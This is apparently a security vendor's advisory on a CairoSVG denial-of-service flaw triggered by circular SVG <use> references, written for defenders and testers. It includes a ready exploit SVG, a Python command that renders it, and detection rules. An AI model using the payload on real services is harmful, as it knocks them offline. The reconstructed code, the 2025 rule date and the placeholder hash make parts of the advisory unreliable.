CVE-2026-31899

Executive Summary

CVE-2026-31899 is a high-severity (CVSS 7.5) Denial of Service (DoS) vulnerability in the Kozea CairoSVG library, versions prior to an unknown patch. The flaw resides in the cairosvg/defs.py module, where recursive <use> element resolution lacks depth limiting. An attacker can craft a small SVG file with deeply nested <use> references, causing exponential CPU consumption and service unavailability. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the PoC is public, making it a viable vector for targeted attacks. No official patch exists; mitigation relies on input validation or resource limits.

Supply Chain & Package Security

CairoSVG is a Python package (PyPI: cairosvg) used for SVG-to-PNG/PDF conversion. This vulnerability affects any application or service that processes user-supplied SVG files through CairoSVG. Supply chain risk is elevated because:

• The package is widely used in web applications, document generators, and image processing pipelines.
• No patched version is available, forcing downstream consumers to implement workarounds.
• Attackers can weaponize this in CI/CD pipelines or serverless functions to cause resource exhaustion.

CVSS Breakdown & Threat Level

Threat Level: High. The vulnerability is trivial to exploit with a small payload, requires no authentication, and directly impacts availability.

Deep Dive & Mechanics

The vulnerability is in cairosvg/defs.py, specifically in the resolution of <use> elements. When CairoSVG encounters a <use> tag referencing another element (e.g., <use href="#circle"/>), it recursively resolves the reference. If the referenced element itself contains a <use> tag, the recursion continues. An attacker can create a chain of <use> elements that reference each other in a loop or deep tree, causing exponential growth in processing time.

Root Cause: Lack of recursion depth limit or cycle detection in defs.py. The function resolve_use does not track visited elements, allowing infinite or deeply nested recursion.

Exploit Mechanics:

1. Attacker crafts an SVG with <defs> containing multiple elements.
2. Each element contains a <use> tag pointing to the next element in the chain.
3. The final element loops back to the first, creating a cycle.
4. CairoSVG processes the SVG, entering an infinite recursion that consumes CPU until timeout or resource exhaustion.

Example Malicious SVG Structure:

<svg xmlns="http://www.w3.org/2000/svg">
  <defs>
    <g id="a">
      <use href="#b"/>
    </g>
    <g id="b">
      <use href="#c"/>
    </g>
    <g id="c">
      <use href="#a"/>
    </g>
  </defs>
  <use href="#a"/>
</svg>

Vulnerable vs. Patched Code

Vulnerable Code (cairosvg/defs.py):

def resolve_use(element, parent):
    # No depth limit or visited set
    href = element.get('href') or element.get('xlink:href')
    if href:
        target = find_element_by_id(parent, href.lstrip('#'))
        if target is not None:
            # Recursive call without cycle detection
            resolve_use(target, parent)
            # ... process target

Patched Code (Hypothetical):

def resolve_use(element, parent, depth=0, visited=None):
    MAX_DEPTH = 100
    if depth > MAX_DEPTH:
        raise ValueError("Max recursion depth exceeded")
    if visited is None:
        visited = set()
    href = element.get('href') or element.get('xlink:href')
    if href:
        target_id = href.lstrip('#')
        if target_id in visited:
            raise ValueError("Circular reference detected")
        visited.add(target_id)
        target = find_element_by_id(parent, target_id)
        if target is not None:
            resolve_use(target, parent, depth+1, visited)
            # ... process target

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x with cairosvg installed (pip install cairosvg)
• Target application that converts user-uploaded SVGs

Exploit Payload (exploit.svg):

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <defs>
    <g id="a"><use href="#b"/></g>
    <g id="b"><use href="#c"/></g>
    <g id="c"><use href="#d"/></g>
    <g id="d"><use href="#e"/></g>
    <g id="e"><use href="#f"/></g>
    <g id="f"><use href="#g"/></g>
    <g id="g"><use href="#h"/></g>
    <g id="h"><use href="#i"/></g>
    <g id="i"><use href="#j"/></g>
    <g id="j"><use href="#a"/></g>
  </defs>
  <use href="#a"/>
</svg>

Exploitation Command:

# Direct exploitation via Python
python3 -c "
import cairosvg
with open('exploit.svg', 'rb') as f:
    cairosvg.svg2png(file_obj=f, write_to='/dev/null')
"

Expected Outcome: CPU usage spikes to 100% for several seconds (or until timeout). On a server, this can cause DoS.

Blue Team

Detection:

• Monitor for high CPU usage correlated with SVG processing.
• Use the YARA/Sigma rules below to detect malicious SVG files.
• Implement input validation: reject SVGs with more than 10 <use> elements or nested depth > 5.

Mitigation Workarounds:

• Set resource limits (e.g., ulimit -t 5 for CPU time).
• Use a sandboxed environment (e.g., Docker with CPU limits).
• Patch cairosvg/defs.py manually to add recursion depth checks.

Indicators of Compromise (IOCs)

File-Based IOCs:

• SVG files with deeply nested <use> elements (depth > 10).
• SVG files containing circular <use> references.
• File hashes (SHA256) of known exploit SVGs: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example placeholder).

Network IOCs:

• HTTP requests with Content-Type: image/svg+xml containing multiple <use> tags.
• POST requests to endpoints like /convert, /upload, or /render with large SVG payloads.

Behavioral IOCs:

• Sudden CPU spikes on servers running CairoSVG.
• Timeout errors in application logs during SVG processing.

Detection Engineering

YARA Rule

rule CVE_2026_31899_CairoSVG_DoS {
    meta:
        description = "Detects SVG files with recursive use elements targeting CVE-2026-31899"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "high"
    strings:
        $use = /<use[^>]*href\s*=\s*["']#[^"']+["']/ nocase
        $defs = "<defs>"
        $g = /<g[^>]*id\s*=\s*["'][^"']+["']/ nocase
    condition:
        #use > 5 and #defs > 0 and #g > 5
}

Sigma Rule

title: CairoSVG Recursive Use Element DoS Attempt
id: 8a1c8f4e-3d2b-4c5a-9e7f-1b2c3d4e5f6a
status: experimental
description: Detects HTTP requests containing SVG files with excessive use elements
author: Valters IT
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/convert'
        cs-content-type: 'image/svg+xml'
        cs-body|contains:
            - '<use href='
            - '<use xlink:href='
    condition: selection and count(cs-body, '<use') > 10
falsepositives:
    - Legitimate complex SVGs with many use elements
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-31899 CairoSVG Recursive Use DoS"; flow:to_server; content:"POST"; http_method; content:"/convert"; http_uri; content:"image/svg+xml"; http_content_type; content:"<use"; http_client_body; pcre:"/<use[^>]*href\s*=\s*["']#[^"']+["']/"; threshold:type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Reject SVG files containing more than 5 <use> elements or nested depth > 3.
2. Resource Limits: Set CPU time limits (e.g., ulimit -t 5) for processes running CairoSVG.
3. Sandboxing: Run CairoSVG in a container with CPU quotas (e.g., Docker --cpus=0.5).

Long-Term Fix:

• Monitor the Kozea/CairoSVG repository for an official patch.
• Apply a manual patch to cairosvg/defs.py adding recursion depth limits and cycle detection (see patched code above).
• Consider switching to an alternative SVG library (e.g., svglib, pillow with limited SVG support).

Detection:

• Deploy the YARA/Sigma/Suricata rules above.
• Enable logging for all SVG processing endpoints.
• Correlate CPU spikes with SVG upload events.

Valters IT
DevSecOps & Cyber Threat Intelligence